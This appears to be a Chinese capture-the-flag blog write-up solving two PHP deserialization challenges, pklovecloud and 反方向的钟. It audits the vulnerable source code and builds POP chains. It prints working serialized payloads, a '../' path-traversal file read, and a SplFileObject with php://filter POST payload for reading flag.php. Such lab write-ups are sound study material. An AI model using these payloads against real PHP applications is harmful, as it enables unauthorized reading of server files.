【无标题】

1.[第五空间 2021]pklovecloud

进行代码审计

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

 包含flag.php文件,有三个类:

pkshow,echo_name这个函数

acp,cinder这个保护属性,neutron,nova这两个公有属性;construct,tostring这两个魔术方法。

ace,filename,openstack,docker这三个公有属性;echo_name这个函数。

一个if语句。

第一步找危险函数,找到ace下的echo_name函数,里面有file_get_contents这个读取函数,当filename='flag.php'时就会输出flag,但它要通过前面的这个强比较,

第二步,想要触发echo_name函数就必须触发toString魔术方法。

第三步,tostring函数的触发条件是把对象当成字符串调用,找到construct函数下的cinder。只用把cinder变成对象acp,那么给cinder赋值的时候就是把对象当成字符串调用,就可以触发tostring函数。

第四步,想要触发construct函数就必须实例化一个对象,可以令cinder=new ace(),这里为什么不是保存原来的cinder=new pkshow()呢?那是因为在执行tostring魔术方法时会触发echo_name,我们要触发的echo_name函数是ace这个类下面的,并不是pkshow这个类下面的,而函数想要触发就必须在这个类下面,所以改成new ace()后不会触发pkshow()里面的echo_name函数。

总结:

ace->echo_name

acp->tostring

acp->construct

接着就可以写代码,构造pop链,因为我们是反着分析的,构造pop链就要反过,先把construct过了。

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;

}  
}
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
   
}  

$a=new acp();
echo urlencode(serialize($a));
?> 

 结果:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D 

 get传参pks.

可以看到返回keystone lost~。返回代码看一下这个是怎么输出的。

 function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  

可以看到是强比较错误然后,返回刚刚那个的,说明我们已经到了ace下面的echo_name函数。然后在上面有$this->$openstack = unserialize($this->docker),因此只要我们使得$this->docker =null,然后让$this->filename=”flag.php”即可使得上面的判断成立,并且读取flag.php的内容;

$this->docker =null时unserialize($this->docker)为null,$openstack也为null

$this->openstack->neutron === $this->openstack->nova这个强比较就相当于两个null比较。所以就会执行file_get_contents函数,$this->filename=”flag.php”就可以读取flag,所以:

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;

}  
}
class ace
{    
    public $filename="flag.php";     
    public $openstack;
    public $docker; 
   
}  

$a=new acp();
$b=new ace();
$b->docker=" ";
echo urlencode(serialize($a));
?> 

 得到

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 传参看看

 执行了但什么都没有,看看源代码

 修改一下代码

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;

}  
}
class ace
{    
    public $filename="nssctfasdasdflag";     
    public $openstack;
    public $docker; 
   
}  

$a=new acp();
$b=new ace();
$b->docker=" ";
echo urlencode(serialize($a));
?> 

 结果:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

传参看看

但是不对,再改一下../nssctfasdasdflag,这个文件可能是下一级目录

 <?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;

}  
}
class ace
{    
    public $filename="../nssctfasdasdflag";     
    public $openstack;
    public $docker; 
   
}  

$a=new acp();
$b=new ace();
$b->docker=" ";
echo urlencode(serialize($a));
?> 

 得到

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

传参后得到flag

 2.[GDOUCTF 2023]反方向的钟

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

代码分析

有三个类

teacher:name,rank两个公有属性,salary一个私有属性;construct一个魔术方法。

classroom:name,leader两个公有属性,construct魔术方法,hahaha函数

 school:department,headmaster两个公有属性,construct,wakeup两个魔术方法,IPO函数

 最后if语句,如果存在get传参d,就会对传参的d进行base64解码再进行反序列化

第一步找危险函数:找到IPO函数,执行该函数可以进行POST传参,是否可以利用伪协议来读取flag,POST传参:

a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php

传参的a是默认读一行,后面的b是伪协议读取flag

headmaster == 'ong'这里要headmaster是ong

第二步,在wakeup函数下面可以执行IPO函数,所以只用触发wakeup函数

而wakeup函数是在反序列化前触发的,所以不用管,当你传参后就会触发该魔术方法

但是触发wakeup魔术方法后,它会触发hahaha函数,

该函数要返回true。!=是不等于符号,所以我们就让它们等于就可以返回true。

让$this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'

变成

$this->name == 'one class' or $this->leader->name == 'ing' or $this->leader->rank =='department'

所以就可以构造

<?php
class teacher{
    public $name;
    public $rank;
    private $salary;
}

class classroom{
    public $name;
    public $leader;
}

class school{
    public $department;
    public $headmaster;
}
$a=new school();
$b=new classroom();
$c=new teacher();
$b->name="one class";
$b->leader=$c;
$c->name="ing";
$c->rank="department";
$a->department=$b;
$a->headmaster="ong";
echo base64_encode(serialize($a));
?>

得到

Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7Tjt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9

传参看看

输出了Pretty Good ! Ctfer!。说明pop链正确,接着就要POST传参读取flag

得到base64编码,解码得到flag

总结:做php反序列化的题要注意对其他函数的使用。

 SplFileObject可以看下面

https://blog.csdn.net/weixin_39534780/article/details/115514259?ops_request_misc=&request_id=&biz_id=102&utm_term=SplFileObject&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-1-115514259.142^v100^pc_search_result_base9&spm=1018.2226.3001.4187

相关推荐

  1. 标题

    2024-05-01 01:00:02       47 阅读
  2. 标题

    2024-05-01 01:00:02       44 阅读
  3. 标题

    2024-05-01 01:00:02       42 阅读
  4. 标题

    2024-05-01 01:00:02       49 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-05-01 01:00:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-01 01:00:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-01 01:00:02       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-01 01:00:02       20 阅读

热门阅读

  1. 安卓平台的在线视频下载神器—Seal

    2024-05-01 01:00:02       26 阅读
  2. 处理推送被拒绝的问题

    2024-05-01 01:00:02       10 阅读
  3. Vue中使用watch监听Vuex中的数据变化

    2024-05-01 01:00:02       12 阅读
  4. 等保测评-锐捷设备核查命令

    2024-05-01 01:00:02       34 阅读
  5. Tomcat基本使用与控制台乱码解决方式

    2024-05-01 01:00:02       10 阅读
  6. DN-DETR的原理和源码解读

    2024-05-01 01:00:02       12 阅读
  7. Golang中的Json标签(持续更新...)

    2024-05-01 01:00:02       11 阅读
  8. 重要数据的识别因素

    2024-05-01 01:00:02       12 阅读